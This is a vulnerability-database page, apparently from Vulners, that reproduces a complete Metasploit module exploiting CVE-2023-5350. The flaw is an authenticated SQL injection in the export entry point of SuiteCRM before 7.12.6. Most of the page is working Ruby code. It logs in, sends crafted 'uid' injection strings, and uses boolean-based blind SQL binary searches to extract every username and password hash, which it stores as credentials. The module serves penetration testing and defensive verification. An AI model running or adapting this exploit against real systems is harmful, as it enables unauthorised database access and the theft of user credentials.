Lucene search
K

SuiteCRM authenticated SQL injection in export functionality

🗓️ 14 Sep 2022 19:50:46Reported by Exodus Intelligence, jheysel-r7, Redouane NIBOUCHA <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 549 Views

SuiteCRM authenticated SQL injection in export functionalit

Related
Code
ReporterTitlePublishedViews
Family
Huntr
SQL Injection in opportunities module
3 Oct 202311:38
huntr
Circl
CVE-2023-5350
13 Sep 202222:04
circl
CNNVD
SuiteCRM SQL注入漏洞
3 Oct 202300:00
cnnvd
CNVD
SuiteCRM SQL Injection Vulnerability (CNVD-2023-98210)
9 Oct 202300:00
cnvd
CVE
CVE-2023-5350
3 Oct 202311:45
cve
Cvelist
CVE-2023-5350 SQL Injection in salesagility/suitecrm
3 Oct 202311:45
cvelist
EUVD
EUVD-2023-57666
3 Oct 202520:07
euvd
NVD
CVE-2023-5350
3 Oct 202312:15
nvd
OSV
BIT-SUITECRM-2023-5350 SQL Injection in salesagility/suitecrm
6 Mar 202411:07
osv
OSV
CVE-2023-5350 SQL Injection in salesagility/suitecrm
3 Oct 202311:45
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::SQLi
  include Msf::Exploit::Remote::HttpClient

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SuiteCRM authenticated SQL injection in export functionality',
        'Description' => %q{
          This module exploits an authenticated SQL injection in SuiteCRM in versions before 7.12.6. The vulnerability
          allows an authenticated attacker to send specially crafted requests to the export entry point of the application in order
          to retrieve all the usernames and their associated password from the database.
        },
        'Author' => [
          'Exodus Intelligence', # Advisory
          'jheysel-r7', # poc + msf module
          'Redouane NIBOUCHA <[email protected]>' # sql injection help
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-5350'],
          ['URL', 'https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/'],
          ['URL', 'https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6']
        ],
        'Actions' => [
          ['Dump credentials', { 'Description' => 'Dumps usernames and passwords from the users table' }]
        ],
        'DefaultAction' => 'Dump credentials',
        'DisclosureDate' => '2022-05-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )
    register_options [
      OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
      OptString.new('USERNAME', [true, 'Username of user', '']),
      OptString.new('PASSWORD', [true, 'Password for user', '']),
    ]
  end

  def check
    authenticated = authenticate
    return Exploit::CheckCode::Safe('Unable to authenticate to SuiteCRM') unless authenticated

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Home',
          'action' => 'About'
        }
      }
    )

    return Exploit::CheckCode::Safe('Trying to query the SuiteCRM version information failed') unless res&.body

    version = Rex::Version.new(res.body.match(/Version\s+((?:\d+\.)+\d+).*/)[1])
    return Exploit::CheckCode::Safe('Could not find retrieve the version of SuiteCRM from the version page') unless version

    print_status "Version detected: #{version}"

    return Exploit::CheckCode::Vulnerable("SuiteCRM version #{version} is vulnerable") if version <= Rex::Version.new('7.12.5')

    Exploit::CheckCode::Safe("SuiteCRM version #{version} is not vulnerable")
  end

  def authenticate
    print_status("Authenticating as #{datastore['USERNAME']}")
    initial_req = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Users',
          'action' => 'Login'
        }
      }
    )

    return false unless initial_req && initial_req.code == 200 && initial_req.body.include?('SuiteCRM') && initial_req.get_cookies.include?('sugar_user_theme=')

    login = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'module' => 'Users',
          'action' => 'Authenticate',
          'return_module' => 'Users',
          'return_action' => 'Login',
          'user_name' => datastore['USERNAME'],
          'username_password' => datastore['PASSWORD'],
          'Login' => 'Log In'
        }
      }
    )

    return false unless login && login.code == 302 && login.headers['Location'] == 'index.php?module=Home&action=index' && login.get_cookies.include?('sugar_user_theme=')

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Administration',
          'action' => 'index'
        }
      }
    )

    if res && res.code == 200 && res.body.include?('SuiteCRM') && res.get_cookies.include?('sugar_user_theme=') && res.body.include?('SUGAR.unifiedSearchAdvanced')
      print_good("Authenticated as: #{datastore['USERNAME']}")
      true
    else
      print_error("Failed to authenticate as: #{datastore['USERNAME']}")
      false
    end
  end

  # This module sends this same request multiple times. In order to reduce code it has been moved it into it's owm method
  def send_injection_request_cgi(payload)
    res = send_request_cgi({
      'method' => 'POST',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'index.php?entryPoint=export'),
      'encode_params' => false,
      'vars_post' => {
        'uid' => payload,
        'module' => 'Accounts',
        'action' => 'index'
      }
    })

    if res&.code != 200
      fail_with(Failure::UnexpectedReply, "The server did not respond to the request with the payload: #{payload}")
    end
    res
  end

  # @return an array of usernames
  def get_user_names(sqli)
    print_status 'Fetching Users, please wait...'
    users = sqli.run_sql('select group_concat(DISTINCT user_name) from users')
    users.split(',')
  end

  # Use blind boolean SQL injection to determine the user_hashes of given usernames
  def get_user_hashes(sqli, users)
    print_status 'Fetching Hashes, please wait...'
    hashes = []
    number_of_users = users.size
    users.each_with_index do |username, index|
      hash = sqli.run_sql("select user_hash from users where user_name='#{username}'")
      hashes << [username, hash]
      print_good "(#{index + 1}/#{number_of_users}) Username : #{username} ; Hash : #{hash}"
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: username,
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
        private_data: hash,
        service_name: 'SuiteCRM',
        address: datastore['RHOSTS'],
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED
      })
    end
    hashes
  end

  def init_sqli
    wrong_resp_length = send_injection_request_cgi(',\\,))+AND+1=2;+--+')&.body&.length
    fail_with(Failure::UnexpectedReply, 'The server responded unexpectedly to a request sent with uid: ",\\,))+AND+1=2;+--+"') unless wrong_resp_length
    sqli = create_sqli(dbms: MySQLi::BooleanBasedBlind, opts: { hex_encode_strings: true }) do |payload|
      fail_with(Failure::BadConfig, 'comma in payload') if payload.include?(',')
      resp_length = send_injection_request_cgi(",\\,))+OR+(#{payload});+--+")&.body&.length
      resp_length != wrong_resp_length
    end

    # redefine blind_detect_length and blind_dump_data because of the bad characters the payload cannot include

    def sqli.blind_detect_length(query, _timebased)
      output_length = 0
      min_length = 0
      max_length = 800
      loop do
        break if blind_request("length(cast((#{query}) as binary))=#{output_length}")

        flag = blind_request("length(cast((#{query}) as binary))+BETWEEN+#{output_length}+AND+#{max_length}")
        if flag
          min_length = output_length + 1
          if max_length - min_length <= 1
            if blind_request("length(cast((#{query}) as binary))=#{min_length}")
              output_length = min_length
              break
            elsif blind_request("length(cast((#{query}) as binary))=#{max_length}")
              output_length = max_length
              break
            else
              fail_with(Failure::UnexpectedReply, 'Somehow this got messed up!')
            end
          end
          output_length = (min_length + max_length) / 2 + 1
        else
          max_length = output_length
          output_length = (min_length + max_length) / 2 - 1
        end
      end
      output_length
    end

    def sqli.blind_dump_data(query, length, _known_bits, _bits_to_guess, _timebased)
      output = [ ]
      position = 1
      length.times do |_j|
        character_value = 0
        min_value = 0
        max_value = 1000
        loop do
          break if blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{character_value}")

          flag = blind_request("(select ascii(substr((#{query}) from #{position} for 1)))+BETWEEN+#{character_value}+AND+#{max_value}")
          if flag
            min_value = character_value + 1
            if max_value - min_value <= 1
              if blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{min_value}")
                character_value = min_value
                break
              elsif blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{max_value}")
                character_value = max_value
                break
              else
                fail_with(Failure::UnexpectedReply, 'Somehow this got messed up!')
              end
            end
            character_value = (min_value + max_value) / 2 + 1
          else
            max_value = character_value
            character_value = (min_value + max_value) / 2 - 1
          end
        end

        position += 1
        output << character_value
      end
      output.map(&:chr).join
    end

    sqli
  end

  def run
    unless datastore['AutoCheck']
      authenticated = authenticate
      fail_with(Failure::NoAccess, 'Unable to authenticate to SuiteCRM') unless authenticated
    end

    sqli = init_sqli
    users = get_user_names(sqli)

    user_table = Rex::Text::Table.new(
      'Header' => 'SuiteCRM User Names',
      'Indent' => 1,
      'Columns' => ['Username']
    )

    users.each do |user|
      user_table << [user]
    end

    print_line user_table.to_s
    creds = get_user_hashes(sqli, users)
    creds_table = Rex::Text::Table.new(
      'Header' => 'SuiteCRM User Credentials',
      'Indent' => 1,
      'Columns' => ['Username', 'Hash']
    )

    creds.each do |cred|
      creds_table << [cred[0], cred[1]]
    end
    print_line creds_table.to_s
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation